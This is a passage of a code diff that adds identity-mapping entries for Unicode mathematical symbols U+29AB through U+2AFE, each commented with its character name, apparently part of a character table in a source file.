+ ["\u29AB", "\u29AB"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING DOWN AND LEFT */
+ ["\u29AC", "\u29AC"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING RIGHT AND UP */
+ ["\u29AD", "\u29AD"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING LEFT AND UP */
+ ["\u29AE", "\u29AE"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING RIGHT AND DOWN */
+ ["\u29AF", "\u29AF"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING LEFT AND DOWN */
+ ["\u29B0", "\u29B0"], /* REVERSED EMPTY SET */
+ ["\u29B1", "\u29B1"], /* EMPTY SET WITH OVERBAR */
+ ["\u29B2", "\u29B2"], /* EMPTY SET WITH SMALL CIRCLE ABOVE */
+ ["\u29B3", "\u29B3"], /* EMPTY SET WITH RIGHT ARROW ABOVE */
+ ["\u29B4", "\u29B4"], /* EMPTY SET WITH LEFT ARROW ABOVE */
+ ["\u29B5", "\u29B5"], /* CIRCLE WITH HORIZONTAL BAR */
+ ["\u29B6", "\u29B6"], /* CIRCLED VERTICAL BAR */
+ ["\u29B7", "\u29B7"], /* CIRCLED PARALLEL */
+ ["\u29B8", "\u29B8"], /* CIRCLED REVERSE SOLIDUS */
+ ["\u29B9", "\u29B9"], /* CIRCLED PERPENDICULAR */
+ ["\u29BA", "\u29BA"], /* CIRCLE DIVIDED BY HORIZONTAL BAR AND TOP HALF DIVIDED BY VERTICAL BAR */
+ ["\u29BB", "\u29BB"], /* CIRCLE WITH SUPERIMPOSED X */
+ ["\u29BC", "\u29BC"], /* CIRCLED ANTICLOCKWISE-ROTATED DIVISION SIGN */
+ ["\u29BD", "\u29BD"], /* UP ARROW THROUGH CIRCLE */
+ ["\u29BE", "\u29BE"], /* CIRCLED WHITE BULLET */
+ ["\u29BF", "\u29BF"], /* CIRCLED BULLET */
+ ["\u29C0", "\u29C0"], /* CIRCLED LESS-THAN */
+ ["\u29C1", "\u29C1"], /* CIRCLED GREATER-THAN */
+ ["\u29C2", "\u29C2"], /* CIRCLE WITH SMALL CIRCLE TO THE RIGHT */
+ ["\u29C3", "\u29C3"], /* CIRCLE WITH TWO HORIZONTAL STROKES TO THE RIGHT */
+ ["\u29C4", "\u29C4"], /* SQUARED RISING DIAGONAL SLASH */
+ ["\u29C5", "\u29C5"], /* SQUARED FALLING DIAGONAL SLASH */
+ ["\u29C6", "\u29C6"], /* SQUARED ASTERISK */
+ ["\u29C7", "\u29C7"], /* SQUARED SMALL CIRCLE */
+ ["\u29C8", "\u29C8"], /* SQUARED SQUARE */
+ ["\u29C9", "\u29C9"], /* TWO JOINED SQUARES */
+ ["\u29CA", "\u29CA"], /* TRIANGLE WITH DOT ABOVE */
+ ["\u29CB", "\u29CB"], /* TRIANGLE WITH UNDERBAR */
+ ["\u29CC", "\u29CC"], /* S IN TRIANGLE */
+ ["\u29CD", "\u29CD"], /* TRIANGLE WITH SERIFS AT BOTTOM */
+ ["\u29CE", "\u29CE"], /* RIGHT TRIANGLE ABOVE LEFT TRIANGLE */
+ ["\u29CF", "\u29CF"], /* LEFT TRIANGLE BESIDE VERTICAL BAR */
+ ["\u29D0", "\u29D0"], /* VERTICAL BAR BESIDE RIGHT TRIANGLE */
+ ["\u29D1", "\u29D1"], /* BOWTIE WITH LEFT HALF BLACK */
+ ["\u29D2", "\u29D2"], /* BOWTIE WITH RIGHT HALF BLACK */
+ ["\u29D3", "\u29D3"], /* BLACK BOWTIE */
+ ["\u29D4", "\u29D4"], /* TIMES WITH LEFT HALF BLACK */
+ ["\u29D5", "\u29D5"], /* TIMES WITH RIGHT HALF BLACK */
+ ["\u29D6", "\u29D6"], /* WHITE HOURGLASS */
+ ["\u29D7", "\u29D7"], /* BLACK HOURGLASS */
+ ["\u29D8", "\u29D8"], /* LEFT WIGGLY FENCE */
+ ["\u29D9", "\u29D9"], /* RIGHT WIGGLY FENCE */
+ ["\u29DA", "\u29DA"], /* LEFT DOUBLE WIGGLY FENCE */
+ ["\u29DB", "\u29DB"], /* RIGHT DOUBLE WIGGLY FENCE */
+ ["\u29DC", "\u29DC"], /* INCOMPLETE INFINITY */
+ ["\u29DD", "\u29DD"], /* TIE OVER INFINITY */
+ ["\u29DE", "\u29DE"], /* INFINITY NEGATED WITH VERTICAL BAR */
+ ["\u29DF", "\u29DF"], /* DOUBLE-ENDED MULTIMAP */
+ ["\u29E0", "\u29E0"], /* SQUARE WITH CONTOURED OUTLINE */
+ ["\u29E1", "\u29E1"], /* INCREASES AS */
+ ["\u29E2", "\u29E2"], /* SHUFFLE PRODUCT */
+ ["\u29E3", "\u29E3"], /* EQUALS SIGN AND SLANTED PARALLEL */
+ ["\u29E4", "\u29E4"], /* EQUALS SIGN AND SLANTED PARALLEL WITH TILDE ABOVE */
+ ["\u29E5", "\u29E5"], /* IDENTICAL TO AND SLANTED PARALLEL */
+ ["\u29E6", "\u29E6"], /* GLEICH STARK */
+ ["\u29E7", "\u29E7"], /* THERMODYNAMIC */
+ ["\u29E8", "\u29E8"], /* DOWN-POINTING TRIANGLE WITH LEFT HALF BLACK */
+ ["\u29E9", "\u29E9"], /* DOWN-POINTING TRIANGLE WITH RIGHT HALF BLACK */
+ ["\u29EA", "\u29EA"], /* BLACK DIAMOND WITH DOWN ARROW */
+ ["\u29EB", "\u29EB"], /* BLACK LOZENGE */
+ ["\u29EC", "\u29EC"], /* WHITE CIRCLE WITH DOWN ARROW */
+ ["\u29ED", "\u29ED"], /* BLACK CIRCLE WITH DOWN ARROW */
+ ["\u29EE", "\u29EE"], /* ERROR-BARRED WHITE SQUARE */
+ ["\u29EF", "\u29EF"], /* ERROR-BARRED BLACK SQUARE */
+ ["\u29F0", "\u29F0"], /* ERROR-BARRED WHITE DIAMOND */
+ ["\u29F1", "\u29F1"], /* ERROR-BARRED BLACK DIAMOND */
+ ["\u29F2", "\u29F2"], /* ERROR-BARRED WHITE CIRCLE */
+ ["\u29F3", "\u29F3"], /* ERROR-BARRED BLACK CIRCLE */
+ ["\u29F4", "\u29F4"], /* RULE-DELAYED */
+ ["\u29F5", "\u29F5"], /* REVERSE SOLIDUS OPERATOR */
+ ["\u29F6", "\u29F6"], /* SOLIDUS WITH OVERBAR */
+ ["\u29F7", "\u29F7"], /* REVERSE SOLIDUS WITH HORIZONTAL STROKE */
+ ["\u29F8", "\u29F8"], /* BIG SOLIDUS */
+ ["\u29F9", "\u29F9"], /* BIG REVERSE SOLIDUS */
+ ["\u29FA", "\u29FA"], /* DOUBLE PLUS */
+ ["\u29FB", "\u29FB"], /* TRIPLE PLUS */
+ ["\u29FC", "\u29FC"], /* LEFT-POINTING CURVED ANGLE BRACKET */
+ ["\u29FD", "\u29FD"], /* RIGHT-POINTING CURVED ANGLE BRACKET */
+ ["\u29FE", "\u29FE"], /* TINY */
+ ["\u29FF", "\u29FF"], /* MINY */
+ ["\u2A00", "\u2A00"], /* N-ARY CIRCLED DOT OPERATOR */
+ ["\u2A01", "\u2A01"], /* N-ARY CIRCLED PLUS OPERATOR */
+ ["\u2A02", "\u2A02"], /* N-ARY CIRCLED TIMES OPERATOR */
+ ["\u2A03", "\u2A03"], /* N-ARY UNION OPERATOR WITH DOT */
+ ["\u2A04", "\u2A04"], /* N-ARY UNION OPERATOR WITH PLUS */
+ ["\u2A05", "\u2A05"], /* N-ARY SQUARE INTERSECTION OPERATOR */
+ ["\u2A06", "\u2A06"], /* N-ARY SQUARE UNION OPERATOR */
+ ["\u2A07", "\u2A07"], /* TWO LOGICAL AND OPERATOR */
+ ["\u2A08", "\u2A08"], /* TWO LOGICAL OR OPERATOR */
+ ["\u2A09", "\u2A09"], /* N-ARY TIMES OPERATOR */
+ ["\u2A0A", "\u2A0A"], /* MODULO TWO SUM */
+ ["\u2A0B", "\u2A0B"], /* SUMMATION WITH INTEGRAL */
+ ["\u2A0C", "\u2A0C"], /* QUADRUPLE INTEGRAL OPERATOR */
+ ["\u2A0D", "\u2A0D"], /* FINITE PART INTEGRAL */
+ ["\u2A0E", "\u2A0E"], /* INTEGRAL WITH DOUBLE STROKE */
+ ["\u2A0F", "\u2A0F"], /* INTEGRAL AVERAGE WITH SLASH */
+ ["\u2A10", "\u2A10"], /* CIRCULATION FUNCTION */
+ ["\u2A11", "\u2A11"], /* ANTICLOCKWISE INTEGRATION */
+ ["\u2A12", "\u2A12"], /* LINE INTEGRATION WITH RECTANGULAR PATH AROUND POLE */
+ ["\u2A13", "\u2A13"], /* LINE INTEGRATION WITH SEMICIRCULAR PATH AROUND POLE */
+ ["\u2A14", "\u2A14"], /* LINE INTEGRATION NOT INCLUDING THE POLE */
+ ["\u2A15", "\u2A15"], /* INTEGRAL AROUND A POINT OPERATOR */
+ ["\u2A16", "\u2A16"], /* QUATERNION INTEGRAL OPERATOR */
+ ["\u2A17", "\u2A17"], /* INTEGRAL WITH LEFTWARDS ARROW WITH HOOK */
+ ["\u2A18", "\u2A18"], /* INTEGRAL WITH TIMES SIGN */
+ ["\u2A19", "\u2A19"], /* INTEGRAL WITH INTERSECTION */
+ ["\u2A1A", "\u2A1A"], /* INTEGRAL WITH UNION */
+ ["\u2A1B", "\u2A1B"], /* INTEGRAL WITH OVERBAR */
+ ["\u2A1C", "\u2A1C"], /* INTEGRAL WITH UNDERBAR */
+ ["\u2A1D", "\u2A1D"], /* JOIN */
+ ["\u2A1E", "\u2A1E"], /* LARGE LEFT TRIANGLE OPERATOR */
+ ["\u2A1F", "\u2A1F"], /* Z NOTATION SCHEMA COMPOSITION */
+ ["\u2A20", "\u2A20"], /* Z NOTATION SCHEMA PIPING */
+ ["\u2A21", "\u2A21"], /* Z NOTATION SCHEMA PROJECTION */
+ ["\u2A22", "\u2A22"], /* PLUS SIGN WITH SMALL CIRCLE ABOVE */
+ ["\u2A23", "\u2A23"], /* PLUS SIGN WITH CIRCUMFLEX ACCENT ABOVE */
+ ["\u2A24", "\u2A24"], /* PLUS SIGN WITH TILDE ABOVE */
+ ["\u2A25", "\u2A25"], /* PLUS SIGN WITH DOT BELOW */
+ ["\u2A26", "\u2A26"], /* PLUS SIGN WITH TILDE BELOW */
+ ["\u2A27", "\u2A27"], /* PLUS SIGN WITH SUBSCRIPT TWO */
+ ["\u2A28", "\u2A28"], /* PLUS SIGN WITH BLACK TRIANGLE */
+ ["\u2A29", "\u2A29"], /* MINUS SIGN WITH COMMA ABOVE */
+ ["\u2A2A", "\u2A2A"], /* MINUS SIGN WITH DOT BELOW */
+ ["\u2A2B", "\u2A2B"], /* MINUS SIGN WITH FALLING DOTS */
+ ["\u2A2C", "\u2A2C"], /* MINUS SIGN WITH RISING DOTS */
+ ["\u2A2D", "\u2A2D"], /* PLUS SIGN IN LEFT HALF CIRCLE */
+ ["\u2A2E", "\u2A2E"], /* PLUS SIGN IN RIGHT HALF CIRCLE */
+ ["\u2A2F", "\u2A2F"], /* VECTOR OR CROSS PRODUCT */
+ ["\u2A30", "\u2A30"], /* MULTIPLICATION SIGN WITH DOT ABOVE */
+ ["\u2A31", "\u2A31"], /* MULTIPLICATION SIGN WITH UNDERBAR */
+ ["\u2A32", "\u2A32"], /* SEMIDIRECT PRODUCT WITH BOTTOM CLOSED */
+ ["\u2A33", "\u2A33"], /* SMASH PRODUCT */
+ ["\u2A34", "\u2A34"], /* MULTIPLICATION SIGN IN LEFT HALF CIRCLE */
+ ["\u2A35", "\u2A35"], /* MULTIPLICATION SIGN IN RIGHT HALF CIRCLE */
+ ["\u2A36", "\u2A36"], /* CIRCLED MULTIPLICATION SIGN WITH CIRCUMFLEX ACCENT */
+ ["\u2A37", "\u2A37"], /* MULTIPLICATION SIGN IN DOUBLE CIRCLE */
+ ["\u2A38", "\u2A38"], /* CIRCLED DIVISION SIGN */
+ ["\u2A39", "\u2A39"], /* PLUS SIGN IN TRIANGLE */
+ ["\u2A3A", "\u2A3A"], /* MINUS SIGN IN TRIANGLE */
+ ["\u2A3B", "\u2A3B"], /* MULTIPLICATION SIGN IN TRIANGLE */
+ ["\u2A3C", "\u2A3C"], /* INTERIOR PRODUCT */
+ ["\u2A3D", "\u2A3D"], /* RIGHTHAND INTERIOR PRODUCT */
+ ["\u2A3E", "\u2A3E"], /* Z NOTATION RELATIONAL COMPOSITION */
+ ["\u2A3F", "\u2A3F"], /* AMALGAMATION OR COPRODUCT */
+ ["\u2A40", "\u2A40"], /* INTERSECTION WITH DOT */
+ ["\u2A41", "\u2A41"], /* UNION WITH MINUS SIGN */
+ ["\u2A42", "\u2A42"], /* UNION WITH OVERBAR */
+ ["\u2A43", "\u2A43"], /* INTERSECTION WITH OVERBAR */
+ ["\u2A44", "\u2A44"], /* INTERSECTION WITH LOGICAL AND */
+ ["\u2A45", "\u2A45"], /* UNION WITH LOGICAL OR */
+ ["\u2A46", "\u2A46"], /* UNION ABOVE INTERSECTION */
+ ["\u2A47", "\u2A47"], /* INTERSECTION ABOVE UNION */
+ ["\u2A48", "\u2A48"], /* UNION ABOVE BAR ABOVE INTERSECTION */
+ ["\u2A49", "\u2A49"], /* INTERSECTION ABOVE BAR ABOVE UNION */
+ ["\u2A4A", "\u2A4A"], /* UNION BESIDE AND JOINED WITH UNION */
+ ["\u2A4B", "\u2A4B"], /* INTERSECTION BESIDE AND JOINED WITH INTERSECTION */
+ ["\u2A4C", "\u2A4C"], /* CLOSED UNION WITH SERIFS */
+ ["\u2A4D", "\u2A4D"], /* CLOSED INTERSECTION WITH SERIFS */
+ ["\u2A4E", "\u2A4E"], /* DOUBLE SQUARE INTERSECTION */
+ ["\u2A4F", "\u2A4F"], /* DOUBLE SQUARE UNION */
+ ["\u2A50", "\u2A50"], /* CLOSED UNION WITH SERIFS AND SMASH PRODUCT */
+ ["\u2A51", "\u2A51"], /* LOGICAL AND WITH DOT ABOVE */
+ ["\u2A52", "\u2A52"], /* LOGICAL OR WITH DOT ABOVE */
+ ["\u2A53", "\u2A53"], /* DOUBLE LOGICAL AND */
+ ["\u2A54", "\u2A54"], /* DOUBLE LOGICAL OR */
+ ["\u2A55", "\u2A55"], /* TWO INTERSECTING LOGICAL AND */
+ ["\u2A56", "\u2A56"], /* TWO INTERSECTING LOGICAL OR */
+ ["\u2A57", "\u2A57"], /* SLOPING LARGE OR */
+ ["\u2A58", "\u2A58"], /* SLOPING LARGE AND */
+ ["\u2A59", "\u2A59"], /* LOGICAL OR OVERLAPPING LOGICAL AND */
+ ["\u2A5A", "\u2A5A"], /* LOGICAL AND WITH MIDDLE STEM */
+ ["\u2A5B", "\u2A5B"], /* LOGICAL OR WITH MIDDLE STEM */
+ ["\u2A5C", "\u2A5C"], /* LOGICAL AND WITH HORIZONTAL DASH */
+ ["\u2A5D", "\u2A5D"], /* LOGICAL OR WITH HORIZONTAL DASH */
+ ["\u2A5E", "\u2A5E"], /* LOGICAL AND WITH DOUBLE OVERBAR */
+ ["\u2A5F", "\u2A5F"], /* LOGICAL AND WITH UNDERBAR */
+ ["\u2A60", "\u2A60"], /* LOGICAL AND WITH DOUBLE UNDERBAR */
+ ["\u2A61", "\u2A61"], /* SMALL VEE WITH UNDERBAR */
+ ["\u2A62", "\u2A62"], /* LOGICAL OR WITH DOUBLE OVERBAR */
+ ["\u2A63", "\u2A63"], /* LOGICAL OR WITH DOUBLE UNDERBAR */
+ ["\u2A64", "\u2A64"], /* Z NOTATION DOMAIN ANTIRESTRICTION */
+ ["\u2A65", "\u2A65"], /* Z NOTATION RANGE ANTIRESTRICTION */
+ ["\u2A66", "\u2A66"], /* EQUALS SIGN WITH DOT BELOW */
+ ["\u2A67", "\u2A67"], /* IDENTICAL WITH DOT ABOVE */
+ ["\u2A68", "\u2A68"], /* TRIPLE HORIZONTAL BAR WITH DOUBLE VERTICAL STROKE */
+ ["\u2A69", "\u2A69"], /* TRIPLE HORIZONTAL BAR WITH TRIPLE VERTICAL STROKE */
+ ["\u2A6A", "\u2A6A"], /* TILDE OPERATOR WITH DOT ABOVE */
+ ["\u2A6B", "\u2A6B"], /* TILDE OPERATOR WITH RISING DOTS */
+ ["\u2A6C", "\u2A6C"], /* SIMILAR MINUS SIMILAR */
+ ["\u2A6D", "\u2A6D"], /* CONGRUENT WITH DOT ABOVE */
+ ["\u2A6E", "\u2A6E"], /* EQUALS WITH ASTERISK */
+ ["\u2A6F", "\u2A6F"], /* ALMOST EQUAL TO WITH CIRCUMFLEX ACCENT */
+ ["\u2A70", "\u2A70"], /* APPROXIMATELY EQUAL OR EQUAL TO */
+ ["\u2A71", "\u2A71"], /* EQUALS SIGN ABOVE PLUS SIGN */
+ ["\u2A72", "\u2A72"], /* PLUS SIGN ABOVE EQUALS SIGN */
+ ["\u2A73", "\u2A73"], /* EQUALS SIGN ABOVE TILDE OPERATOR */
+ ["\u2A74", "\u2A74"], /* DOUBLE COLON EQUAL */
+ ["\u2A75", "\u2A75"], /* TWO CONSECUTIVE EQUALS SIGNS */
+ ["\u2A76", "\u2A76"], /* THREE CONSECUTIVE EQUALS SIGNS */
+ ["\u2A77", "\u2A77"], /* EQUALS SIGN WITH TWO DOTS ABOVE AND TWO DOTS BELOW */
+ ["\u2A78", "\u2A78"], /* EQUIVALENT WITH FOUR DOTS ABOVE */
+ ["\u2A79", "\u2A79"], /* LESS-THAN WITH CIRCLE INSIDE */
+ ["\u2A7A", "\u2A7A"], /* GREATER-THAN WITH CIRCLE INSIDE */
+ ["\u2A7B", "\u2A7B"], /* LESS-THAN WITH QUESTION MARK ABOVE */
+ ["\u2A7C", "\u2A7C"], /* GREATER-THAN WITH QUESTION MARK ABOVE */
+ ["\u2A7D", "\u2A7D"], /* LESS-THAN OR SLANTED EQUAL TO */
+ ["\u2A7E", "\u2A7E"], /* GREATER-THAN OR SLANTED EQUAL TO */
+ ["\u2A7F", "\u2A7F"], /* LESS-THAN OR SLANTED EQUAL TO WITH DOT INSIDE */
+ ["\u2A80", "\u2A80"], /* GREATER-THAN OR SLANTED EQUAL TO WITH DOT INSIDE */
+ ["\u2A81", "\u2A81"], /* LESS-THAN OR SLANTED EQUAL TO WITH DOT ABOVE */
+ ["\u2A82", "\u2A82"], /* GREATER-THAN OR SLANTED EQUAL TO WITH DOT ABOVE */
+ ["\u2A83", "\u2A83"], /* LESS-THAN OR SLANTED EQUAL TO WITH DOT ABOVE RIGHT */
+ ["\u2A84", "\u2A84"], /* GREATER-THAN OR SLANTED EQUAL TO WITH DOT ABOVE LEFT */
+ ["\u2A85", "\u2A85"], /* LESS-THAN OR APPROXIMATE */
+ ["\u2A86", "\u2A86"], /* GREATER-THAN OR APPROXIMATE */
+ ["\u2A87", "\u2A87"], /* LESS-THAN AND SINGLE-LINE NOT EQUAL TO */
+ ["\u2A88", "\u2A88"], /* GREATER-THAN AND SINGLE-LINE NOT EQUAL TO */
+ ["\u2A89", "\u2A89"], /* LESS-THAN AND NOT APPROXIMATE */
+ ["\u2A8A", "\u2A8A"], /* GREATER-THAN AND NOT APPROXIMATE */
+ ["\u2A8B", "\u2A8B"], /* LESS-THAN ABOVE DOUBLE-LINE EQUAL ABOVE GREATER-THAN */
+ ["\u2A8C", "\u2A8C"], /* GREATER-THAN ABOVE DOUBLE-LINE EQUAL ABOVE LESS-THAN */
+ ["\u2A8D", "\u2A8D"], /* LESS-THAN ABOVE SIMILAR OR EQUAL */
+ ["\u2A8E", "\u2A8E"], /* GREATER-THAN ABOVE SIMILAR OR EQUAL */
+ ["\u2A8F", "\u2A8F"], /* LESS-THAN ABOVE SIMILAR ABOVE GREATER-THAN */
+ ["\u2A90", "\u2A90"], /* GREATER-THAN ABOVE SIMILAR ABOVE LESS-THAN */
+ ["\u2A91", "\u2A91"], /* LESS-THAN ABOVE GREATER-THAN ABOVE DOUBLE-LINE EQUAL */
+ ["\u2A92", "\u2A92"], /* GREATER-THAN ABOVE LESS-THAN ABOVE DOUBLE-LINE EQUAL */
+ ["\u2A93", "\u2A93"], /* LESS-THAN ABOVE SLANTED EQUAL ABOVE GREATER-THAN ABOVE SLANTED EQUAL */
+ ["\u2A94", "\u2A94"], /* GREATER-THAN ABOVE SLANTED EQUAL ABOVE LESS-THAN ABOVE SLANTED EQUAL */
+ ["\u2A95", "\u2A95"], /* SLANTED EQUAL TO OR LESS-THAN */
+ ["\u2A96", "\u2A96"], /* SLANTED EQUAL TO OR GREATER-THAN */
+ ["\u2A97", "\u2A97"], /* SLANTED EQUAL TO OR LESS-THAN WITH DOT INSIDE */
+ ["\u2A98", "\u2A98"], /* SLANTED EQUAL TO OR GREATER-THAN WITH DOT INSIDE */
+ ["\u2A99", "\u2A99"], /* DOUBLE-LINE EQUAL TO OR LESS-THAN */
+ ["\u2A9A", "\u2A9A"], /* DOUBLE-LINE EQUAL TO OR GREATER-THAN */
+ ["\u2A9B", "\u2A9B"], /* DOUBLE-LINE SLANTED EQUAL TO OR LESS-THAN */
+ ["\u2A9C", "\u2A9C"], /* DOUBLE-LINE SLANTED EQUAL TO OR GREATER-THAN */
+ ["\u2A9D", "\u2A9D"], /* SIMILAR OR LESS-THAN */
+ ["\u2A9E", "\u2A9E"], /* SIMILAR OR GREATER-THAN */
+ ["\u2A9F", "\u2A9F"], /* SIMILAR ABOVE LESS-THAN ABOVE EQUALS SIGN */
+ ["\u2AA0", "\u2AA0"], /* SIMILAR ABOVE GREATER-THAN ABOVE EQUALS SIGN */
+ ["\u2AA1", "\u2AA1"], /* DOUBLE NESTED LESS-THAN */
+ ["\u2AA2", "\u2AA2"], /* DOUBLE NESTED GREATER-THAN */
+ ["\u2AA3", "\u2AA3"], /* DOUBLE NESTED LESS-THAN WITH UNDERBAR */
+ ["\u2AA4", "\u2AA4"], /* GREATER-THAN OVERLAPPING LESS-THAN */
+ ["\u2AA5", "\u2AA5"], /* GREATER-THAN BESIDE LESS-THAN */
+ ["\u2AA6", "\u2AA6"], /* LESS-THAN CLOSED BY CURVE */
+ ["\u2AA7", "\u2AA7"], /* GREATER-THAN CLOSED BY CURVE */
+ ["\u2AA8", "\u2AA8"], /* LESS-THAN CLOSED BY CURVE ABOVE SLANTED EQUAL */
+ ["\u2AA9", "\u2AA9"], /* GREATER-THAN CLOSED BY CURVE ABOVE SLANTED EQUAL */
+ ["\u2AAA", "\u2AAA"], /* SMALLER THAN */
+ ["\u2AAB", "\u2AAB"], /* LARGER THAN */
+ ["\u2AAC", "\u2AAC"], /* SMALLER THAN OR EQUAL TO */
+ ["\u2AAD", "\u2AAD"], /* LARGER THAN OR EQUAL TO */
+ ["\u2AAE", "\u2AAE"], /* EQUALS SIGN WITH BUMPY ABOVE */
+ ["\u2AAF", "\u2AAF"], /* PRECEDES ABOVE SINGLE-LINE EQUALS SIGN */
+ ["\u2AB0", "\u2AB0"], /* SUCCEEDS ABOVE SINGLE-LINE EQUALS SIGN */
+ ["\u2AB1", "\u2AB1"], /* PRECEDES ABOVE SINGLE-LINE NOT EQUAL TO */
+ ["\u2AB2", "\u2AB2"], /* SUCCEEDS ABOVE SINGLE-LINE NOT EQUAL TO */
+ ["\u2AB3", "\u2AB3"], /* PRECEDES ABOVE EQUALS SIGN */
+ ["\u2AB4", "\u2AB4"], /* SUCCEEDS ABOVE EQUALS SIGN */
+ ["\u2AB5", "\u2AB5"], /* PRECEDES ABOVE NOT EQUAL TO */
+ ["\u2AB6", "\u2AB6"], /* SUCCEEDS ABOVE NOT EQUAL TO */
+ ["\u2AB7", "\u2AB7"], /* PRECEDES ABOVE ALMOST EQUAL TO */
+ ["\u2AB8", "\u2AB8"], /* SUCCEEDS ABOVE ALMOST EQUAL TO */
+ ["\u2AB9", "\u2AB9"], /* PRECEDES ABOVE NOT ALMOST EQUAL TO */
+ ["\u2ABA", "\u2ABA"], /* SUCCEEDS ABOVE NOT ALMOST EQUAL TO */
+ ["\u2ABB", "\u2ABB"], /* DOUBLE PRECEDES */
+ ["\u2ABC", "\u2ABC"], /* DOUBLE SUCCEEDS */
+ ["\u2ABD", "\u2ABD"], /* SUBSET WITH DOT */
+ ["\u2ABE", "\u2ABE"], /* SUPERSET WITH DOT */
+ ["\u2ABF", "\u2ABF"], /* SUBSET WITH PLUS SIGN BELOW */
+ ["\u2AC0", "\u2AC0"], /* SUPERSET WITH PLUS SIGN BELOW */
+ ["\u2AC1", "\u2AC1"], /* SUBSET WITH MULTIPLICATION SIGN BELOW */
+ ["\u2AC2", "\u2AC2"], /* SUPERSET WITH MULTIPLICATION SIGN BELOW */
+ ["\u2AC3", "\u2AC3"], /* SUBSET OF OR EQUAL TO WITH DOT ABOVE */
+ ["\u2AC4", "\u2AC4"], /* SUPERSET OF OR EQUAL TO WITH DOT ABOVE */
+ ["\u2AC5", "\u2AC5"], /* SUBSET OF ABOVE EQUALS SIGN */
+ ["\u2AC6", "\u2AC6"], /* SUPERSET OF ABOVE EQUALS SIGN */
+ ["\u2AC7", "\u2AC7"], /* SUBSET OF ABOVE TILDE OPERATOR */
+ ["\u2AC8", "\u2AC8"], /* SUPERSET OF ABOVE TILDE OPERATOR */
+ ["\u2AC9", "\u2AC9"], /* SUBSET OF ABOVE ALMOST EQUAL TO */
+ ["\u2ACA", "\u2ACA"], /* SUPERSET OF ABOVE ALMOST EQUAL TO */
+ ["\u2ACB", "\u2ACB"], /* SUBSET OF ABOVE NOT EQUAL TO */
+ ["\u2ACC", "\u2ACC"], /* SUPERSET OF ABOVE NOT EQUAL TO */
+ ["\u2ACD", "\u2ACD"], /* SQUARE LEFT OPEN BOX OPERATOR */
+ ["\u2ACE", "\u2ACE"], /* SQUARE RIGHT OPEN BOX OPERATOR */
+ ["\u2ACF", "\u2ACF"], /* CLOSED SUBSET */
+ ["\u2AD0", "\u2AD0"], /* CLOSED SUPERSET */
+ ["\u2AD1", "\u2AD1"], /* CLOSED SUBSET OR EQUAL TO */
+ ["\u2AD2", "\u2AD2"], /* CLOSED SUPERSET OR EQUAL TO */
+ ["\u2AD3", "\u2AD3"], /* SUBSET ABOVE SUPERSET */
+ ["\u2AD4", "\u2AD4"], /* SUPERSET ABOVE SUBSET */
+ ["\u2AD5", "\u2AD5"], /* SUBSET ABOVE SUBSET */
+ ["\u2AD6", "\u2AD6"], /* SUPERSET ABOVE SUPERSET */
+ ["\u2AD7", "\u2AD7"], /* SUPERSET BESIDE SUBSET */
+ ["\u2AD8", "\u2AD8"], /* SUPERSET BESIDE AND JOINED BY DASH WITH SUBSET */
+ ["\u2AD9", "\u2AD9"], /* ELEMENT OF OPENING DOWNWARDS */
+ ["\u2ADA", "\u2ADA"], /* PITCHFORK WITH TEE TOP */
+ ["\u2ADB", "\u2ADB"], /* TRANSVERSAL INTERSECTION */
+ ["\u2ADC", "\u2ADC"], /* FORKING */
+ ["\u2ADD", "\u2ADD"], /* NONFORKING */
+ ["\u2ADE", "\u2ADE"], /* SHORT LEFT TACK */
+ ["\u2ADF", "\u2ADF"], /* SHORT DOWN TACK */
+ ["\u2AE0", "\u2AE0"], /* SHORT UP TACK */
+ ["\u2AE1", "\u2AE1"], /* PERPENDICULAR WITH S */
+ ["\u2AE2", "\u2AE2"], /* VERTICAL BAR TRIPLE RIGHT TURNSTILE */
+ ["\u2AE3", "\u2AE3"], /* DOUBLE VERTICAL BAR LEFT TURNSTILE */
+ ["\u2AE4", "\u2AE4"], /* VERTICAL BAR DOUBLE LEFT TURNSTILE */
+ ["\u2AE5", "\u2AE5"], /* DOUBLE VERTICAL BAR DOUBLE LEFT TURNSTILE */
+ ["\u2AE6", "\u2AE6"], /* LONG DASH FROM LEFT MEMBER OF DOUBLE VERTICAL */
+ ["\u2AE7", "\u2AE7"], /* SHORT DOWN TACK WITH OVERBAR */
+ ["\u2AE8", "\u2AE8"], /* SHORT UP TACK WITH UNDERBAR */
+ ["\u2AE9", "\u2AE9"], /* SHORT UP TACK ABOVE SHORT DOWN TACK */
+ ["\u2AEA", "\u2AEA"], /* DOUBLE DOWN TACK */
+ ["\u2AEB", "\u2AEB"], /* DOUBLE UP TACK */
+ ["\u2AEC", "\u2AEC"], /* DOUBLE STROKE NOT SIGN */
+ ["\u2AED", "\u2AED"], /* REVERSED DOUBLE STROKE NOT SIGN */
+ ["\u2AEE", "\u2AEE"], /* DOES NOT DIVIDE WITH REVERSED NEGATION SLASH */
+ ["\u2AEF", "\u2AEF"], /* VERTICAL LINE WITH CIRCLE ABOVE */
+ ["\u2AF0", "\u2AF0"], /* VERTICAL LINE WITH CIRCLE BELOW */
+ ["\u2AF1", "\u2AF1"], /* DOWN TACK WITH CIRCLE BELOW */
+ ["\u2AF2", "\u2AF2"], /* PARALLEL WITH HORIZONTAL STROKE */
+ ["\u2AF3", "\u2AF3"], /* PARALLEL WITH TILDE OPERATOR */
+ ["\u2AF4", "\u2AF4"], /* TRIPLE VERTICAL BAR BINARY RELATION */
+ ["\u2AF5", "\u2AF5"], /* TRIPLE VERTICAL BAR WITH HORIZONTAL STROKE */
+ ["\u2AF6", "\u2AF6"], /* TRIPLE COLON OPERATOR */
+ ["\u2AF7", "\u2AF7"], /* TRIPLE NESTED LESS-THAN */
+ ["\u2AF8", "\u2AF8"], /* TRIPLE NESTED GREATER-THAN */
+ ["\u2AF9", "\u2AF9"], /* DOUBLE-LINE SLANTED LESS-THAN OR EQUAL TO */
+ ["\u2AFA", "\u2AFA"], /* DOUBLE-LINE SLANTED GREATER-THAN OR EQUAL TO */
+ ["\u2AFB", "\u2AFB"], /* TRIPLE SOLIDUS BINARY RELATION */
+ ["\u2AFC", "\u2AFC"], /* LARGE TRIPLE VERTICAL BAR OPERATOR */
+ ["\u2AFD", "\u2AFD"], /* DOUBLE SOLIDUS OPERATOR */
+ ["\u2AFE", "\u2AFE"], /* WHITE VERTICAL BAR */
